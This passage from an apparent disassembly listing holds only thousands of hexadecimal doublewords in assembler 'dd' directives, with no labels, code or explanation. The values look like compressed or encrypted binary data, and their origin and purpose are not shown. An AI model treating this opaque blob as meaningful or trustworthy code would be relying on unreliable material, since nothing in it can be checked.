		dd 4D17004Fh, 74ABF584h, 0DA00308Ah, 560B16FAh,	0D97251h
		dd 0F5C3252Fh, 89EE03E7h, 4CA58803h, 0A0DB6DA9h, 7F4FEB35h
		dd 0C71606BFh, 0E8EDA8B5h, 0FFA5BD00h, 0A9969A7Ch, 0AF720105h
		dd 5BC36F93h, 0E671602Bh, 0DC09F007h, 0C0CEC87Dh, 70B0E582h
		dd 8FB30E5Dh, 0EE832C74h, 1E9817B9h, 50050B1Bh,	0FF5613B2h
		dd 57AE92C0h, 4D9B0018h, 0BA464F28h, 4800BE7Fh,	2F4737BDh
		dd 1D569840h, 0C094E0F5h, 0C82D610Ch, 36007981h, 0ABB61307h
		dd 0F3B78417h, 0AD77AFC3h, 34C9883h, 86993C0h, 85D8DC01h
		dd 74031CF9h, 0EB15EC25h, 66B2D8B4h, 84400090h,	1645587Dh
		dd 0A90C1ACFh, 30A6C3F1h, 11AF0047h, 8EB0CE92h,	66488C2Ch
		dd 0FAC60273h, 0C0F1FDEDh, 0E91C8BA5h, 9F0C0822h, 741C204h
		dd 2F9AA01Fh, 0D8ACA7FEh, 1E2E038h, 0E3EE8FF8h,	306C7B0Eh
		dd 8B03E4F1h, 0AA6D2CDBh, 0C1ED8027h, 0CFC00A5h, 8FE6D776h
		dd 7006E35h, 88AEF05Ch,	34DD60h, 0C709F29Dh, 0FF2B2604h
		dd 97F84760h, 0EA7D98Eh, 0B28C7FECh, 7322DFE0h,	3207E6EEh
		dd 0BF09914Eh, 0E172C470h, 7C4602D4h, 0EAB80EC8h, 3F7ECC90h
		dd 476A810Ah, 0A21FAC03h, 0F7094112h, 0E2A40392h, 0A445E0D4h
		dd 49EF3911h, 56797800h, 72C9BC6Ch, 14F0C100h, 0D16D8D0Ah
		dd 47410092h, 0C67D6902h, 741CCF22h, 20809304h,	1CD67BA1h
		dd 26331ECCh, 0A00F407Fh, 327E97F1h, 2DC59000h,	17C69BE1h
		dd 0FF550086h, 3BD5A179h, 8700672Bh, 0B403410Ah, 60EA0539h
		dd 9B771CB1h, 40057D4h,	0D0781EA7h, 538F94h, 0AA3213Fh
		dd 3026E673h, 5C01587Bh, 7F671681h, 0E3E44CBBh,	526300C7h
		dd 19B44349h, 0B904624Eh, 0D2DB3669h, 379C0FBh,	0F41D1BE1h
		dd 5E003426h, 46E0EE92h, 0E9A90031h, 0B5627121h, 60C904DBh
		dd 42FC17h, 0E0804A6Bh,	0B4F87F1Fh, 0D399C02h, 0C0A269BDh
		dd 3A226E4Dh, 4DB05152h, 886C3250h, 2D1EFAE4h, 0A2C0081Fh
		dd 95AD06B6h, 0B7643D7Fh, 0D36A4300h, 86FB5A70h, 1946CC00h
		dd 0F7541205h, 58C6753Eh, 513D486Dh, 91A29D80h,	9E17A183h
		dd 0D7EA2800h, 4562FACCh, 66AA14BAh, 0DD1E3CFBh, 3425424Ch
		dd 0C7C027FAh, 2D0E3D0Ah, 11C7F77h, 66616B71h, 920F8080h
		dd 0AD397AB7h, 0CF1B8AF0h, 82E885FAh, 76F2C0D3h, 2C440060h
		dd 9D2E716Bh, 0E00386CDh, 9E3BD40Ah, 0E7ACE0E6h, 1E63B06Eh
		dd 409F35F5h, 4C1CAA3Ah, 6400B89Eh, 5053B426h, 860379h
		dd 2E384A0Dh, 4C974B10h, 0A3C5621Eh, 63EE3342h,	51D0A00Eh
		dd 769A7996h, 0E8FA0089h, 2E6D3FBh, 28E84FA1h, 699E403h
		dd 0F85CE2C4h, 0A04BD101h, 0C979D8h, 9333522h, 0C639A8F9h
		dd 6EDFB200h, 0F4F57C84h, 8DC0072Bh, 30E8C2A0h,	0AA410BE1h
		dd 0FB497800h, 0DD22B340h, 5DAB4869h, 0C84BE00h, 0FECF2C17h
		dd 0F2F59000h, 38CC9765h, 3C40A071h, 0F3780356h, 3593BB2Fh
		dd 643E8800h, 2BEEA615h, 44F0E7C3h, 0CC553C91h,	62312E80h
		dd 0ECF7D09Bh, 27AE6400h, 0E3A0FFB2h, 84FCF1h, 0F9F5577Bh
		dd 2C32B7ADh, 79D4ECFBh, 111F6F00h, 0FF2ADD09h,	908A1483h
		dd 7CC499h, 0DFAA379Dh
		dd 74CE8F3Ch, 161B4700h, 0F35D7DE9h, 0AC710080h, 46FCD739h
		dd 7500723Bh, 0F5E1E860h, 6EE5C5h, 7F2BA2E7h, 0D7942A81h
		dd 0DF707650h, 0A42FE600h, 9D657C5Ah, 19404C9h,	9063A9ACh
		dd 55E4A764h, 8B05A300h, 6DD02128h, 52DE077Dh, 6751B34Dh
		dd 0E6F1608Eh, 0B60FEE81h, 0A0FF09B1h, 4777D3C1h, 301500DCh
		dd 0CBE9E51Dh, 0B8026A65h, 5DC479BFh, 6D084963h, 5CF59ECh
		dd 3BAE604Bh, 0E9ACC0A9h, 84003F42h, 0E8D3477Ah, 0FE136DFh
		dd 8C39F597h, 0DB30B0BEh, 5400BAF4h, 22D6BF03h,	6D7905h
		dd 8CA9F745h, 2C01EF31h, 12FB5600h, 3920A399h, 0DEE302EDh
		dd 22033B71h, 0C074BC88h, 95CAE71Dh, 0F4445201h, 0A1BCD223h
		dd 0AC9820h, 0E658C355h, 0F3FAB2D7h, 9A3C8F00h,	8E98516h
		dd 0E3631F18h, 47DC8E6Bh, 0A4209F89h, 4ACB8B6Ch, 0BF4816F0h
		dd 1DCD1B0h, 0D6A61A31h, 0F0802B72h, 55AB3FC6h,	0E076C70h
		dd 267781Fh, 0DFC39640h, 0FC54E947h, 0E4DE2C30h, 25F8A0AAh
		dd 0BD54004Dh, 0F4D3B0B2h, 56015C8Bh, 896FEA32h, 0E8817EDDh
		dd 4F86FA33h, 3B082092h, 49E3D80Bh, 0B3B801B5h,	28C977EDh
		dd 462824h, 0F0E8CEFAh,	0B41CD88Bh, 5C875600h, 6E3E70D2h
		dd 0A7D1078Eh, 82596C82h, 0E9C3421Ah, 0FC4763A1h, 8B0004BEh
		dd 0A90BDA35h, 706572C2h, 10B916EFh, 0C4A701EDh, 0DCD2ACE5h
		dd 0AA003CE6h, 6A6F5A2h, 24F36203h, 27CD393h, 78A3BECDh
		dd 8155B468h, 0C04C3626h, 85C14487h, 571A450h, 863926B5h
		dd 5C72834Ch, 1DD88F43h, 5B004918h, 88389C8Ah, 24B9121Eh
		dd 9FAC080Ch, 0CA419FB8h, 81F8BED5h, 1E3B30D9h,	50C026E6h
		dd 0A7001F39h, 9A252D7Bh, 4C6582ABh, 6B1F1010h,	80FBDF13h
		dd 574C740Ch, 8C3AA8E7h, 1A68807Eh, 0A30AC9F3h,	2FDE002Dh
		dd 0DCBFD177h, 98488618h, 1DD981CCh, 82F04534h,	942D0042h
		dd 0BAB9C81Eh, 4F046CCBh, 5E020FB0h, 0D2DA50C1h, 0F61FD822h
		dd 7A6F8260h, 0C9408A36h, 880EBD66h, 0FB4C4Bh, 9DB958B1h
		dd 404790Bh, 0C046A8DCh, 25348801h, 0DE92770Bh,	0FA805D1Ah
		dd 827F81FCh, 0A3486B00h, 857E60C0h, 0D8DA00CAh, 730E4BECh
		dd 2905C91Bh, 0BA941C9Eh, 0F2F02490h, 0F4FD093Fh, 200168DEh
		dd 0E58EBCE2h, 0A9FA7141h, 8D80B852h, 9EE8C1A5h, 497D1C30h
		dd 823B1EF9h, 24FB3931h, 0D4993840h, 27009578h,	7F3A71A0h
		dd 8AFDADh, 4E67D0A6h, 54A2427Ah, 60937C26h, 3DA47800h
		dd 9A0531h, 7294AF50h, 5BC8DCB6h, 438148B1h, 0F6A20F6Ch
		dd 6B88C8DEh, 36AF07D4h, 20AE50BAh, 0C4EC8C3h, 74908E29h
		dd 66DA3900h, 60052DD1h, 7D2E4936h, 140AE472h, 0C4A93F99h
		dd 658550ACh, 143063BDh, 92B501C1h, 0DFEE0058h,	4D1F3948h
		dd 0FA0210A7h, 0FEB06C12h, 553E404Ah, 0BA610057h, 9B1AFD49h
		dd 964CA315h, 13B0330h,	0F8D80D44h, 0E6C807D1h,	0CA8D0063h
		dd 7C7A0868h, 0E0151C2h, 46237904h, 3074D835h, 0FD21005Ch
		dd 0EA14D673h, 0AE1C8939h, 8A688A1Ch, 4135E901h, 8ED19E21h
		dd 97A420h, 0AEFDDA99h,	44C2B113h, 0DB00F890h, 0A64A8094h
		dd 1FAC773h, 379B7DA0h,	30D5857Ch, 1E38B4DAh, 0F5FD85EEh
		dd 8DC5AE2h, 7B2700F4h,	2E65833Bh, 0C002D148h, 28B49CD6h
		dd 0FF004012h, 32A00349h, 5E5D63BCh, 626100CFh,	6A0EF65Ah
		dd 0F5484E6h, 0ED8EC0E7h, 98E1A48Fh, 4B1712CDh,	10D800D2h
		dd 3795E76Ah, 9E7DE400h, 1DB4CD0h, 1ABB1F86h, 85FD1F62h
		dd 0C06806E0h, 34F277BAh, 9BE41404h, 44CE990Bh,	2744C700h
		dd 18D19AAFh, 80F46B4Ch, 4F2908CCh, 0F4543CF2h,	2A0E9048h
		dd 0D008AB9h, 0DA19214Eh, 2E155E03h, 80CAD4A8h,	11EF92Dh
		dd 990A9BBEh, 201FC69Dh, 0B6011787h, 98E1E377h,	40C49750h
		dd 0CB6C0573h, 402CFADBh, 60D3C620h, 8A00D79Ah,	6E6F1736h
		dd 342EF07h, 0FE0244F1h, 39025F3Eh, 3152F34Fh, 613DC0A8h
		dd 0CDBD0ED1h, 53A0B097h, 85261976h, 64658F00h,	0E37C28CAh
		dd 89610072h, 508E1F0Ch, 48033557h, 7EEA7302h, 227C900Fh
		dd 6905006Dh, 0FA93CCA2h, 6C7306D5h, 0BD028103h, 1DC15BF1h
		dd 409ED086h, 1831BF7Dh, 0DD7B965Eh, 0E08C0207h, 8E3321E1h
		dd 0F9FCA079h, 0D22B0032h, 0FF57AD27h, 8807E284h, 3DFD0750h
		dd 0FBA1F30h, 9A9839h, 0C5EE6982h, 0EB7D0D8Ch, 90C91803h
		dd 0C8761181h, 70CC2E3Fh, 649B0AC2h, 8068E23Eh,	5EEBD169h
		dd 10C13AC9h, 19461B81h, 2A9CF4h, 3EC7C47Bh, 0EFEE7F0Eh
		dd 9968C800h, 90A023E6h, 31120F55h, 93207ADBh, 0E8B56CAFh
		dd 3606FA00h, 0EC2C6B44h, 0A790087h, 0BE467063h, 0FD00C5D4h
		dd 945CB014h, 0EE34D73h, 6C969EDAh, 0B69A2Ah, 374105A5h
		dd 31015FECh, 3B5CF244h, 48D47985h, 84A7032Fh, 3E2B0C4Bh
		dd 3228BC88h, 72786D1Fh, 0E4FCFh, 77A5FD10h, 0FAC90013h
		dd 3ADFE70Fh, 4700437Ch, 550C50B4h, 722509C4h, 0E82724F8h
		dd 69583007h, 0EA00F004h, 0AEAA2893h, 1DFDD7h, 58EFA583h
		dd 0F429BBD1h, 9E74A002h, 6064D21Ah, 1C092ACh, 0DB79F159h
		dd 809A1173h, 9C3A9399h, 1BF6F39h, 3103B75h, 0E82CD7F5h
		dd 0B75CC21Ch, 0B5740046h, 79BB149Ch, 21D01EA4h, 1CDDAE91h
		dd 3909800Eh, 4EAA34CBh, 20FE40CEh, 9FBAA489h, 0CC5A012Bh
		dd 0A56BCDA7h, 7B2E6020h, 8E6DCE00h, 3EE43F38h,	0D2B900FDh
		dd 5C922BB0h, 0EA0054F7h, 0C2625567h, 7CFB15h, 64D9BB0Ch
		dd 443239E8h, 3F03C8E2h, 0F29C5373h, 0D8F6F04Ah, 344F0016h
		dd 1A072E2Dh, 64EE7B19h, 0B8E9D0h, 6FC40A1Bh, 41CBCAh
		dd 0DC361CCFh, 0ADE55DE9h, 46F2801Ch, 0BBB28E83h, 12F4B0D1h
		dd 0EF690790h, 0F0A0B355h, 0B98DA939h, 0BAF50E05h, 0CFBF258h
		dd 0DC7825C5h, 0EACFA10Fh, 2388A0CDh, 831B5Bh, 2FB2EFC7h
		dd 0ECF78706h, 4B00AEF8h, 8EDA0765h, 0EECEBF4Ah, 0B9E0031h
		dd 4D01BEABh, 0C00067B5h, 3E1F5DCBh, 0E6262115h, 1E123BFEh
		dd 0BC8C8F00h, 993F3B39h, 6BA11C00h, 725DCF0h, 27F43Dh
		dd 0B5F71612h, 0B9B167C4h, 43E2A300h, 2A98FBE5h, 0D95900F4h
		dd 0B43DA57Ch, 0E60139C1h, 0BE8B8549h, 0E8DB0DECh, 38CA9E4Ah
		dd 0B0001153h, 88B98F60h, 7E03C124h, 0F80915C3h, 0DF66F8B5h
		dd 5A471C32h, 0BA1801Ah, 0A23D9A7Fh, 5E790501h,	41500D17h
		dd 186E2BF8h, 684F1D62h, 31F37AEh, 0F740C5CFh, 0A3F8307Eh
		dd 5859034Ah, 0B4E7422Eh, 0ADEE50A0h, 0F06A3F00h, 0B2669675h
		dd 14970089h, 0D4395DE8h, 2500E381h, 0D3C46159h, 0F54A2Ah
		dd 90B0653Bh, 8899CE09h, 0B12F7800h, 0B25492C9h, 6C6B00C0h
		dd 3CD1CD0Ch, 50009BC4h, 39A8D995h, 5AA04A2h, 3A4ED546h
		dd 19C0FE73h, 5861DBD8h, 2E00B2E6h, 7CF239B4h, 330092A7h
		dd 18FD8467h, 6532822h,	77058EDEh, 0A83A183Eh, 0D9A600D1h
		dd 9A15BF6Ch, 0D87182h,	34F0739Fh, 5442C506h, 83005CF8h
		dd 0B25D5918h, 0CCB3356h, 0E8373B91h, 0F5022488h, 0B0A30675h
		dd 84604164h, 9F03D840h, 0E6D50E18h, 2C406CECh,	0B9B2CE50h
		dd 33EEE298h, 0E52E6100h, 72193949h, 9428574Fh,	43C19401h
		dd 0D0AC1764h, 6001A907h, 0EBCB2FE2h, 40481B0Dh, 89D60FC9h
		dd 0F803EE98h, 0C2D00AD4h, 67002374h, 2D3FFF5Dh, 699650h
		dd 3D1F9153h, 0E5EA7781h, 28CE860Ah, 9400AE45h,	598BCD16h
		dd 98B314A1h, 881E8083h, 0AB5B40EDh, 0A3F61004h, 0E9A06263h
		dd 13CC1CFDh, 34074752h
		dd 699F103Ch, 4C0A50CAh, 0DC1DF96Fh, 602A108Eh,	0FB91FD8Bh
		dd 5D5F3D7h, 256B5F4h, 0E36D82BEh, 0C9C3A46Ah, 138496F8h
		dd 77AB3E00h, 4521E464h, 0FB370097h, 565E8A99h,	28E287BBh
		dd 68C0F800h, 0CEF2B23Ah, 77C2E0F3h, 14990BBAh,	0FA003E5Ch
		dd 42A18D3Fh, 484EC700h, 549FA589h, 0BF990049h,	0E4412278h
		dd 4A0028D2h, 0CADDCE4Dh, 0E26866Eh, 0B6B0F538h, 0B5975E60h
		dd 7707E5C9h, 0F487A9EEh, 73050577h, 0C00AB5C3h, 1F5A586h
		dd 51066C5Ch, 820B3E2Dh, 0D6D2C9E0h, 0F1E7E317h, 64C02ED1h
		dd 0E3190080h, 0AEE3534h, 770073A8h, 383F030Dh,	0F085309h
		dd 52EB79F7h, 0AAD2CC40h, 720C61BBh, 58127CADh,	704F66Dh
		dd 29287087h, 34930BAh,	47009B64h, 0A671F736h, 0AAB2B30h
		dd 28B57614h, 0AEA800FFh, 382A82B3h, 6581E200h,	3B207721h
		dd 2CC2E41Bh, 9141ECh, 5C17666Fh, 56008A55h, 0D1DDC89Ah
		dd 348AC08h, 19E3F0F7h,	70F77203h, 9597CBDEh, 75133E02h
		dd 906F2808h, 3A857A0h,	0A65C10F4h, 4DA8563Dh, 1F00907Dh
		dd 2D14CBA0h, 2CF4707Fh, 0EC8D22h, 161554C9h, 480005B2h
		dd 0A4C20391h, 54D1779h, 4DC32ABh, 6490003Fh, 95B45F54h
		dd 0EB1494ECh, 803D3Bh,	0C1D81D19h, 1477314h, 0CBFFAA07h
		dd 92F8B443h, 0BE003E61h, 12B7AF2Bh, 31CE006Fh,	1904A00Fh
		dd 4F0191CAh, 4450CBEFh, 0CA405585h, 0F6511F53h, 0B67AD2h
		dd 0BBA377DDh, 5FCE2AD6h, 0A1575803h, 80C9D162h, 43630Ch
		dd 2DBB4182h, 1189C61h,	2CDAA103h, 0E934DDF5h, 1820F6E9h
		dd 0B5910635h, 0F0A33827h, 0F21C39h, 640B3397h,	9A2877h
		dd 585C4DCBh, 7099AE46h, 0EB43BD00h, 0B8303B9Fh, 36A2248Bh
		dd 0CF470B08h, 4300DCF4h, 2655EEB3h, 0F16112ADh, 5E740058h
		dd 0A2EB530Fh, 3A1A1D0Fh, 0DA127CC6h, 0F0F58002h, 70DD800Dh
		dd 90A71Eh, 0C019C6D7h,	0EBA38A48h, 0CAAF3D01h,	7E72B45Eh
		dd 4C52E8h, 0D4C43977h,	0F2D3B8A6h, 108880E1h, 421778FCh
		dd 58A045Ch, 80706EF1h,	777665B0h, 0E0909829h, 24425E40h
		dd 1BD600ABh, 0B7481229h, 9C90A4C3h, 1691E400h,	0F2C44084h
		dd 65F4B6h, 25A11BDDh, 0B57E69B8h, 18A23224h, 4D0A9A81h
		dd 0C02604E8h, 88F0D39h, 0E2006DD9h, 56C8FB3Ch,	3B822C0Eh
		dd 39BF6759h, 0C9F7ED70h, 2508052Fh, 47934ACBh,	10D5F1FCh
		dd 3255DE3Fh, 63A13Ah, 0AF26B2A4h, 0EB0B78h, 0F8F9E54Ah
		dd 201314DFh, 0FF998803h, 0E31844h, 37076218h, 82D0BFC4h
		dd 2DF1E800h, 3349C1A8h, 71EA8Ah, 0C3A063B1h, 0A4AFA5D1h
		dd 1EBCDCE1h, 807F143Bh, 3D17A88Dh, 905876h, 813F32C0h
		dd 0A5517E28h, 99B1680Fh, 0AFF44111h, 9ADC40D2h, 33471863h
		dd 0B22C30D1h, 15005075h, 5203D4A0h, 59E2BEh, 4E48C11Ah
		dd 7E3C39C6h, 0C4C32C0Ch, 0F27188Ah, 55FA22C7h,	0A0DF0E21h
		dd 0C0D1F868h, 144256h,	0CA2F7F96h, 0A55874h, 18D9DE9h
		dd 9E14E05Ah, 0BD1E4E00h, 9670D1B0h, 0B10D042Dh, 80C258B6h
		dd 615FEA6Dh, 154ECD1Dh, 4B6FB171h, 0F0D7F4h, 8A9192F7h
		dd 2EAF6A49h, 0BAD6A502h, 60C183CDh, 3869E0h, 152B9B74h
		dd 539FC750h, 5F612000h, 2D90601Eh, 367C00F0h, 33E39DF4h
		dd 0DA00B357h, 0FD02D161h, 0C9D934h, 0C1BC2893h, 0E2AE263Ah
		dd 8EA9DB00h, 0AAD0D8A0h, 333E066h, 417CDF17h, 1CF99B30h
		dd 1E21A6h, 64FB87C8h, 9197BCA8h, 0E16BE703h, 24F9BDh
		dd 39C42638h, 2F3BD7A6h, 530060A5h, 0A4C49FF3h,	88BD07E0h
		dd 0E0447B54h, 0BE5E74Dh, 43CD5201h, 0D0A8EAC8h, 0F29048D8h
		dd 1C46EC19h, 0C0DD5B6Eh, 8EB63E01h, 0EF0008ECh, 72CBBD9Bh
		dd 181AAEh, 60E47CC5h, 445DADD3h, 96495F01h, 43D8E281h
		dd 1EC62C5h, 8F563E52h,	6CEDE580h, 2DD431A1h, 0A4CA8D00h
		dd 79E9215Eh, 74D600E6h, 0C8776575h, 7300B735h,	0B26E8139h
		dd 0F6AA0BB3h, 1CDE0E20h, 8008BE77h, 0F69DC500h, 3C23CEFh
		dd 0CFA41346h, 0C0A19282h, 0DC7DC52Eh, 0C004C59h, 8DBB02D9h
		dd 2FAD27h, 0C875062Ah,	0CE8910BAh, 7F4181Ch, 81E39B80h
		dd 166BD18Dh, 957793h, 0C48EFC0Eh, 0E50048D6h, 0C1863F45h
		dd 599F76Ch, 87C63706h,	9D34C0D9h, 74004667h, 8123EEA6h
		dd 989A6520h, 5B380FE9h, 47E0EA14h, 5CA9F261h, 0FC35D400h
		dd 0CB19D2DDh, 0DEFCA05Bh, 0EA1F00D7h, 0AF9848Ch, 6F00134Fh
		dd 7389D0C9h, 0ADF1B1h,	5F63DD34h, 5B5C72BCh, 0F4C11F01h
		dd 0B09D2E36h, 0EFB6D8h, 758FD38h, 0B2F61DCBh, 0C0A0C912h
		dd 1C63E803h, 55C80047h, 0FE7512A3h, 0ED005039h, 0FB4F9532h
		dd 1E377274h, 8F3C908Eh, 0E701890Eh, 40A0A6AFh,	199AC6A0h
		dd 93F01800h, 0B1ACDD48h, 347B07CCh, 502A7755h,	0C743870Eh
		dd 1A22B300h, 365DF9FCh, 771EA26h, 41A71C05h, 807F2784h
		dd 4DF567A4h, 0B6D8500h, 1F8F9CFDh, 9BA00EFh, 0FC594C3Fh
		dd 0A7005556h, 0B5370BD2h, 6AF9EDh, 6DC8BD6Ch, 1D13D467h
		dd 8952230Dh, 8CFD78E1h, 0F424F440h, 98356079h,	0FCF1A292h
		dd 0BB57F303h, 26F05E53h, 39A02C8h, 398D8594h, 25FDF101h
		dd 867D4171h, 7909A670h, 77B11B49h, 6FC8205Dh, 0D2FD794h
		dd 9300E06Dh, 0D8793CB4h, 405CDF00h, 18D465DEh,	5495BC00h
		dd 0AD377F6Bh, 8C500DAh, 755E8C82h, 9E30CDD9h, 121AF06Ah
		dd 54B875A3h, 7068FC76h, 0D2B01E5Eh, 6F77CFDEh,	290C69C0h
		dd 8F031147h, 748D269Fh, 0D027B9A1h, 7A92BEF0h,	707E5004h
		dd 0CCA1D93h, 39998EE7h, 4EB91821h, 0BB793054h,	1A98B00Ch
		dd 1224607Dh, 15E3DA5h,	5F6E1C24h, 0D0C8DDD0h, 0EE50B2CDh
		dd 4892F8D8h, 0B77E9600h, 1C878CE9h, 345A4802h,	646ACE80h
		dd 4400C569h, 774EDEE4h, 51078643h, 7B30CCE2h, 6A3A586Eh
		dd 0C5FF4500h, 0CF372A2h, 0A994501Ch, 67F1D140h, 302D5DFh
		dd 8C98BA34h, 0E5B1B9B0h, 20F3DD25h, 900539D8h,	285DECDBh
		dd 5B79C800h, 486F3194h, 0C3807C5Ch, 0B43570C6h, 0E4E1200h
		dd 0D1F39299h, 5DE639DAh, 0E01F453Eh, 0F8F04F53h, 2F80B56Eh
		dd 954AE87Dh, 0E2A74800h, 32089D3Eh, 0F2BA006Dh, 8AFE6961h
		dd 0CA009486h, 5868ADEAh, 0F17B5Fh, 0DF4285AFh,	0D6741882h
		dd 4EA393Bh, 75C75DBh, 0CA844080h, 3B8D3E83h, 0B00BD503h
		dd 31909525h, 2E7EB5ADh, 8048790Fh, 0C996A314h,	54F0E135h
		dd 17C49CC4h, 9FE587h, 6AB42E59h, 0F1141CB0h, 88888Bh
		dd 28FECF62h, 1EB2E8E5h, 80A93E19h, 0DB1D7EFDh,	2E008D87h
		dd 3C7C1779h, 4B5321Ah,	9CB791B9h, 0D3FC090h, 0D70FEFFCh
		dd 0A0DA222Bh, 6C081DD3h, 3C710062h, 10D6998Bh,	0B9005A84h
		dd 0D7CCA548h, 0F9690Fh, 89C4BAE1h, 0DF32D4F7h,	2E7CE00h
		dd 0BC60CB1Dh, 384006Eh, 4940BD34h, 0BE008942h,	7F25F82Eh
		dd 1F46BFB7h, 70100B32h, 0F9FDFE88h, 5D93C00h, 293EB820h
		dd 8E2100DAh, 0AB657F99h, 4F003634h, 0A9037602h, 3DB51B4h
		dd 0E7C04B8h, 0AC80083Dh, 0C400CD71h, 37994EFDh, 1F57F489h
		dd 0D65D56h, 0E4C31A77h, 0E03036C8h, 1C759058h,	60C20037h
		dd 5A8DA5B7h, 91003F98h, 0A20CD12Eh, 37B01854h,	70B0B27Bh
		dd 3FE3415Eh, 0B30B0F00h, 6A3BDF35h, 0D73800F1h, 0FF21CBABh
		dd 5D289084h, 0B800A3F6h, 0EBC6B40Dh, 7FE976h, 0A372CAACh
		dd 92E7D8D7h, 7A1CCD00h, 68D23CE3h, 78650103h, 4C0E90C4h
		dd 0A80DEC84h, 0EC33C1A1h
		dd 60342EEh, 0AF5B016Ch, 0F16000A0h, 0E4E73562h, 0AC503924h
		dd 0A73E0238h, 5AE680B6h, 8A2B76Ah, 0ABECA889h,	13BB3D53h
		dd 5DB5B902h, 86C0A6DCh, 49026815h, 2AA7103Ah, 0D896E3h
		dd 0F57039F2h, 9A87FD10h, 79759800h, 0D00D47AEh, 0A1C600BBh
		dd 17342CCCh, 94F2B813h, 0CAC37001h, 0AA14DDC5h, 7C77960h
		dd 0F0127AAEh, 4AA7000Ah, 6E009EA6h, 5833A547h,	193C73B4h
		dd 0B0CD6968h, 0DD0ECC6Fh, 0AD997F50h, 2D0B5901h, 5AF873C9h
		dd 565560h, 0E944516Eh,	7A04F35Eh, 0AA76A224h, 4001FC1Ch
		dd 2A1ADF38h, 6CA560h, 85E2F02Fh, 237675CEh, 0C33ED207h
		dd 3333A011h, 2A180EBEh, 9640D02Eh, 5EEBAA78h, 92D66B00h
		dd 0B745057h, 99340389h, 2B935D0h, 0B4166E80h, 0C20DCC00h
		dd 0EF9E9A41h, 22F9004Dh, 7585DC86h, 0FF002805h, 0B31D56A6h
		dd 9F63C3h, 0FEA52BD9h,	7221F836h, 9C8DE101h, 0F7D2EA50h
		dd 33261520h, 0DF99A201h, 1FC51E80h, 0ECC57F51h, 460070A3h
		dd 0D0A59065h, 0CFA91773h, 2203888h, 3D33B2F7h,	0A106B57Ah
		dd 147EC3BEh, 0FDE30020h, 5459014Bh, 9000649Fh,	2CB0E36h
		dd 411E3Ch, 6AB5E32h, 0BE42433Ah, 3939D938h, 884CB087h
		dd 1B7BC3h, 0C5EF671h, 0A67C90C1h, 3D9961Dh, 8F3FCE4Bh
		dd 0F8E76073h, 0AD8359h, 0CCFA163Bh, 6D7086CFh,	92500FF6h
		dd 70055A0h, 9EEF9D0Bh,	672F04E0h, 97561184h, 4A1710D1h
		dd 0D300B4DBh, 0A204CF72h, 0E90229h, 0B7F37EBh,	742A8911h
		dd 5F16BAFCh, 0C400D6BFh, 5EE6FFCEh, 6F2B008Ah,	1C80383Fh
		dd 0F0C198C4h, 0A632B9A5h, 0FEFCF8h, 0FAA13063h, 83DA04C3h
		dd 9A1F58h, 0C15052ADh,	59A07Ah, 36E02FB8h, 5646212Bh
		dd 1E42B93Ch, 9900C7B1h, 945E2A07h, 0A02601CFh,	0F3392FD9h
		dd 46E05974h, 4A00C82Ch, 0E9BA357h, 0D2B922h, 5B9C40FFh
		dd 0AA87D861h, 31FC787Ah, 0BD315460h, 0E811EE1h, 2B70D7EBh
		dd 0D2D4C582h, 0EA4DF898h, 52A22004h, 0AC11DDBh, 67F08AC2h
		dd 689800BCh, 59C43747h, 4C498925h, 19700168h, 0A1CE7914h
		dd 0D3003023h, 0BD571187h, 8103B260h, 0E2FA9E0Bh, 0A735F8D9h
		dd 0F90506D1h, 6111D313h, 217F5B1Eh, 85614487h,	0B6C2169h
		dd 3BF81294h, 4B910086h, 0ECFF46E1h, 9902096Ah,	0C89B9F0Ah
		dd 0C1484858h, 542F3ACAh, 5964D485h, 0BE943074h, 33005116h
		dd 60E7819Ch, 0FE5D3ABh, 96D274EBh, 6FBED582h, 820E30A0h
		dd 0ED08AA61h, 3AB2FDDh, 359FA947h, 49E34CC0h, 0C0A017FEh
		dd 0CF0061C8h, 2C46743Bh, 439CA1h, 25836926h, 1A15E27Bh
		dd 0E7E84F76h, 5B984402h, 0C0EBE054h, 0B675Ah, 0FE7B14A3h
		dd 3EB9D1DAh, 0E5DD0903h, 0CB1308h, 942E79C1h, 83C5F850h
		dd 52641A00h, 6B74018Ah, 17FE33A6h, 0EA809DA0h,	19602945h
		dd 0FF5FC510h, 3CB901C2h, 8BABE52Ah, 96E370F1h,	8960F707h
		dd 0E907BACCh, 90545753h, 93CA40h, 0C249FB41h, 0E89128C0h
		dd 99069D00h, 577363EEh, 0B590B1h, 0C0757A33h, 5BFF514h
		dd 7CFEDD00h, 0EEDC812Eh, 7BF9008Eh, 1776C4Eh, 0E03EAE1Bh
		dd 0B3D30089h, 0C4A21E1h, 78EF0069h, 39C03330h,	9800A24Eh
		dd 27EDA956h, 4B4E4BEh,	61342F07h, 0C2DCC094h, 0B307D137h
		dd 0B0738CFAh, 0AB28F8B0h, 0FE39009Ah, 8A85ADF7h, 79C07AC3h
		dd 69658DB6h, 0F0F40079h, 0BBA72ED4h, 2300CA4Ah, 2563545Dh
		dd 3B992AD9h, 108086A1h, 6FF14E7Ch, 0F0F33A1Ch,	0C50694C1h
		dd 0E5320DC3h, 0DF4C0090h, 0F3C9AA5Dh, 3700A7B5h, 0E3B05427h
		dd 7864D128h, 0E4B7005Bh, 4F57951h, 96078295h, 5472E8EEh
		dd 0BA994450h, 0F471A4h, 0CFE3BF88h, 5F457BE1h,	0BD07A80Bh
		dd 5C70004Dh, 3889069Eh, 16801B37h, 595D7136h, 0EB0045F8h
		dd 83B3D444h, 140DC158h, 0C30638DBh, 10667101h,	0D81D81C5h
		dd 0E600ACE7h, 0CB4BAE20h, 26EC0Fh, 22192ADAh, 4DAD7AF6h
		dd 13ABF302h, 0E050BD3Ah, 0E21A2Ah, 25B8670Ch, 9D88F5F6h
		dd 0C6353F00h, 494DAF75h, 67060017h, 0F2720C63h, 0B000E7FFh
		dd 820D3AEEh, 0FBE526h,	6EB23B1Bh, 20E0C95Ah, 48DE860Fh
		dd 0CB91E3F2h, 0EEA28830h, 790C1F15h, 80A9006Dh, 709885F6h
		dd 5B00A7E4h, 3BAFCF05h, 6C637Ch, 1ACDE1BFh, 0C69AFB13h
		dd 1BECBE03h, 88425B94h, 8D356Fh, 0F04C2AC2h, 2D8439F9h
		dd 3B9C7214h, 0B0E01E9Eh, 177890B0h, 6A2C018Ah,	0DC98FF9Ah
		dd 8CD8C4CBh, 16091B03h, 0A74E806Eh, 7ACC2620h,	46A500C7h
		dd 0D1CFFE8Eh, 0AC05B5DEh, 69D86FB4h, 28F08C02h, 0EA35C002h
		dd 96150056h, 0C3B8749h, 651E5021h, 9A83B4C1h, 80EF903Eh
		dd 0C49D70h, 1F891CF7h,	9EFC63A8h, 0F01F4DE2h, 3802DA7h
